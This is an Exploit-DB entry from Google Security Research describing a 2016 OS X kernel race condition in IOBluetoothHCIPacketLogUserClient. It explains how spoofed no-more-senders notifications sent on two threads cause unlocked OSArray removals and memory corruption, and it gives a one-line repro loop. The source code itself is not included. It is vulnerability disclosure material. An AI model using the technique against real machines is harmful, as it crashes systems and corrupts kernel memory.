Exploit-DB #39371
Description: Apple Mac OSX - IOBluetoothHCIPacketLogUserClient Memory Corruption
Type: dos
Platform: osx
Date: 2016-01-28
Author: Google Security Research

Exploit:
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=572

The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
a count of 0xffffffff leading to memory corruption when trying to shift the array contents.

repro: while true; do ./iospoof_bluepacketlog; done

Tested on OS X 10.11 ElCapitan (15A284) on MacBookAir 5,2
